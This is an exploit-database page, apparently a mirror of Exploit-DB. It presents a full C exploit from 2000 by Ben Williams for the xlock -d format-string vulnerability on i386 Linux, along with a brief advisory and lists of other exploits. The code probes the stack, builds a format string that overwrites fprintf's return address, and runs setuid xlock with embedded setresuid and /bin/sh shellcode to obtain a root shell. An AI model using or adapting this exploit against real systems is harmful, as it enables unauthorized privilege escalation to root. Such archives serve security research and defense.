Menu

Search for hundreds of thousands of exploits

"David Bagley xlock 4.16 - User Supplied Format String (2)"

Author

Exploit author

"Ben Williams"

Platform

Exploit platform

unix

Release date

Exploit published date

2000-10-21

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
// source: https://www.securityfocus.com/bid/1585/info
 
A vulnerability exists in versions of the xlockmore program, originally written by David Bagley. It is believed to affect all versions of xlock derived from xlockmore. This includes the xlock shipped with a number of popular operating systems.
 
Xlock is installed setuid root. Normally, the -d option to xlock is used to set the display it will be locking. This value is normally of the format hostname:portoffset, ie. x.host.com:0, to connect to the X server runnign on x.host.com, listening on port 6000. By supplying format strings in this value, it is possible to cause xlock to output numeric values. Using other format strings, it may be possible for an attacker to overwrite values on the stack. This may make it possible to execute arbitrary code with root privileges.
 
While several vulnerable operating systems have been listed, this list is by no means complete.
 
It has been reported that this vulnerability exists only in systems with versions of xlock that use the error() call. (it is also unverified whether the bug is in libc or xlib).

/*

Exploit for xlock -d format string bug on i386 Linux. 
By Ben Williams 21 Oct 2000.

Works on Slackware 7.1, Redhat 6.2 - did not have setuid though,  Mandrake 7.0.
Redhat 6.1 won't work because fprintf segfaults on large precisions.

gcc xlockfmt.c -o xlockfmt
usage: xlockfmt [offset]
Default offset is 48.

Program calcuates all variables such as target return address, shellcode address
and the format string itself. The only thing not calculated is an offset that is
dependant on the version of xlock or how xlock was compiled.
The target address is fprintf()'s saved return address. This equals the value of
openDisplay()'s saved base pointer less offset bytes. Shellcode is appended to
the format string.


Stack picture:
see resource.c, xlock.c 

 fprintf(stderr, buf) A-48| ret      | return address located at A - 48 bytes.
                          | stderr   |
                          | buf      |
           error(buf)     | bp  A    | first value printed by format string is A.
                          | ret      |
                          | buf      |
openDisplay(displayp)     | buf      |
                          | ?        |
                          | ?        |
                          | ?        |
                          | ?        |
                          | ?        |
                         A| bp       | base pointer located at address A.


*/ 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <error.h>
#include <errno.h>
#include <sys/stat.h>
#include <unistd.h>

/* 
 * distance from fprintf's ret to openDisplay's base pointer 
 * redhat6.2, slackware7.1 = 48
 * mandrake7.0 = 60
 */
#define OFFSET 48

#define XLOCK_PATH "/usr/X11R6/bin/xlock"

#define DEBUG 0
#define FMTSIZE 4096
#define CMDSIZE FMTSIZE + 100

/* number of words to print off the stack for analysis */
#define BIGBREAKFAST 400


/* xlock drops privs right away so we have to restore them again.
   setresuid(0, 0, 0) then execve a shell */
char shellcode[] =
        "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80" 
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


char *mkfmt(int prebuf,
           int breakfast,
           unsigned long int location,
           unsigned long int value);


int main(int argc, char **argv){
    FILE *fp;
    char output[65536];
    char fmtstr[FMTSIZE];
    char command[CMDSIZE];
    int i;
    char *p;
    int prebuf;
    int breakfast;
    unsigned long int location;
    unsigned long int value;
    int shellcode_size = sizeof shellcode;
    int offset = OFFSET;
    struct stat f;

    i = stat(XLOCK_PATH, &f);
    if (i) error(1, errno, "whereis xlock?");
    if (!(f.st_mode & S_IXOTH)) error(1, 0, "executable?");
    if (!(f.st_mode & S_ISUID)) error(1, 0, "not setuid");

    if (argc > 1) {
        offset = atoi(argv[1]);
    }

    /*
     * Setup a format string to analyse the stack.
     */
    
    memset(output, 0, 65536);
    memset(fmtstr, 0x20, FMTSIZE);

    for (i = 0, p = fmtstr; i < BIGBREAKFAST; i++) {    
        memcpy(p, "%.8x ", 5);
        p += 5;
    }

    /* 
     * blank out 10 bytes - the first two %.8x's.
     * this makes space for the prebuf bytes and token.
     */

    memset(fmtstr, 0x20, 10);   
    fmtstr[FMTSIZE - 1] = 0x00;
    
    /*
     *  Find the number of prebuf bytes (0x03's)to word align.        
     *  0 to 3 bytes may be needed to shove the token
     *  01010101 of the fmt str onto a word boundary.
     */

    i = 0;
    do {
        prebuf = i;
        memset(fmtstr, 0x03, i);  
        memset(fmtstr + i, 0x01, 4);
        sprintf(command, "%s -d '%s' 2>&1", XLOCK_PATH, fmtstr);
        fp = popen(command, "r");
        memset(output, 0, 65536);
        fread(output, 1024, 64, fp);
        fclose(fp);
#if DEBUG
        printf("======== trying prebuf %d =======\n%s", i, output);
#endif
        i++;
    } while (!strstr(output, "01010101") && i < 4); /* prebuf bytes always less than 4 */

    if (prebuf == 4){
        error(1, 0, "could not find fmt str on the stack");
    }


    memset(output, 0x20, 40);   /* clear the 'xlock: unable to open display' */
    p = strtok(output, "\x20"); /* get A */

    /*
     * Store error()'s base ptr value in var location.
     * Then find fprintf()'s ret by subracting offset.
     */

    location = strtoul(p, NULL, 16);
    location -= offset;
    value = location                /* fprintf's ret */
            + 12                    /* 3 words to error's bp */
            + breakfast * 4         /* breakfast words to fmt str */ 
            + FMTSIZE               /* to end of fmt str */
            - shellcode_size        /* to start of shellcode */
            - 100;                  /* position in the NOPS for safe measure */

    /*
     * Walk down the output string looking for 01010101,
     * counting how whole many words eaten to get there.
     */

    for (breakfast = 1; ; breakfast++) {
        p = strtok(NULL, "\x20");
        if (!p) error(1, 0, "reached end of output string and no 01010101");
#if DEBUG
        printf("eat %d to reach %s\n", breakfast, p);
#endif
        if (!strcmp(p, "01010101")) break;
    }


    /*
     * make the exploit fmt str.
     */

    p = mkfmt(prebuf, breakfast, location, value);
    memset(fmtstr, 0x90, FMTSIZE);
    memcpy(fmtstr, p, strlen(p));
    free(p);
    p = (char *) &fmtstr[FMTSIZE - shellcode_size];
    strcpy(p, shellcode);

    sprintf(command, "%s -d '%s'", XLOCK_PATH, fmtstr);

#if DEBUG
    puts("====== command line ======");
    printf("%s\n", command);
    puts("====== end command  ======");

#endif

    puts("====== system() ======");
    i = system(command);
    puts("====== end system ======");

    printf("\nsystem() returned %d\n", i);
    printf("prebuf was %d bytes\n", prebuf);
    printf("breakfast was %d words\n", breakfast);
    printf("location was %.8lx\n", location);
    printf("value was %.8lx\n", value);

    puts("exiting.");
    return 0;
}


/*
 * Function to generate a nasty format string.
 * MODIFIED FOR XLOCK EXPLOIT ONLY. 
 * breakfast - number of words to eat before reaching 01010101.
 * location - memory address to write to.
 * value - value to write.
 *
 * Resulting string looks something like this:
 *
 *      "\x03\x03\x03"          0 to 3 bytes used to align next value on a word boundary.
 *      "\x01\x01\x01\x01"      this must be aligned on a word boundary.
 *      "\xfc\xfa\xff\xbf"      first write address.
 *      "\x01\x01\x01\x01"
 *      "\xfe\xfa\xff\xbf"      second write address.
 *      "%.8x%.8x%.8x"          this example breakfast = 3.
 *      "%.45780lx"             this must write the first 01010101 
 *      "%hn"
 *      "%.3371lx"              writes the second 01010101
 *      "%hn"
 *      
 */

char *mkfmt(int prebuf,
            int breakfast,
            unsigned long int location,
            unsigned long int value)
{
    char *buf;
    unsigned long int dest_addr[2];
    unsigned int precision[2];
    unsigned int small;  /* small half of value */
    unsigned int big;    /* big half of value */
    char *p;
    int i;
    
    buf = (char *) malloc(200); 
    if (!buf) {
        error(1, errno, "failed to malloc");
    }
    
    big = value & 0x0000ffff;        /* grab the 2 low order bytes */
    small = (value & 0xffff0000) >> 16;   /* and the 2 high order */

    if (big < small) {
        big ^= small; small ^= big; big ^= small;
        dest_addr[0] = location;
        dest_addr[1] = location +2;
    }
    else {
        dest_addr[0] = location +2;
        dest_addr[1] = location;
    }

    p = buf;
    memset(p, 0x03, prebuf);
    p += prebuf;
    memcpy(p, "\x01\x01\x01\x01", 4);
    p += 4;
    memcpy(p, (char *)&dest_addr[0], 4);
    p += 4; 
    memcpy(p, "\x01\x01\x01\x01", 4);
    p += 4;
    memcpy(p, (char *)&dest_addr[1], 4);
    p += 4;

    for (i=0; i < breakfast; i++){
        memcpy(p, "%.8x", 4);
        p += 4;
    }

    /* the 30 chars are the 'xlock: unable to open...' */

    precision[0] = small - (8 * breakfast + 16 + prebuf + 30);
    precision[1] = big - small;    

#if DEBUG
    strcat(buf, "\nFirst print %.8x\n");
    strcat(buf, "First write %.8x\n");
    strcat(buf, "Second print %.8x\n");
    strcat(buf, "Second write %.8x\n");

#else
    sprintf(p, "%%.%dx%%hn%%.%dx%%hn", precision[0], precision[1]);

#endif
    return buf;

}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2012-12-03 "Symantec Messaging Gateway 9.5.3-3 - Arbitrary File Download" webapps linux "Ben Williams"
2012-12-03 "Symantec Messaging Gateway 9.5.3-3 - Cross-Site Request Forgery" webapps multiple "Ben Williams"
2012-05-02 "Websense Triton - Multiple Vulnerabilities" webapps cgi "Ben Williams"
2011-12-15 "Websense 7.6 Triton - 'ws_irpt.exe' Remote Command Execution" webapps cgi "Ben Williams"
2011-12-15 "Websense 7.6 Products - 'favorites.exe' Authentication Bypass" webapps cgi "Ben Williams"
2011-12-15 "Websense 7.6 - Triton Report Management Interface Cross-Site Scripting" webapps cgi "Ben Williams"
2000-10-21 "David Bagley xlock 4.16 - User Supplied Format String (2)" local unix "Ben Williams"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.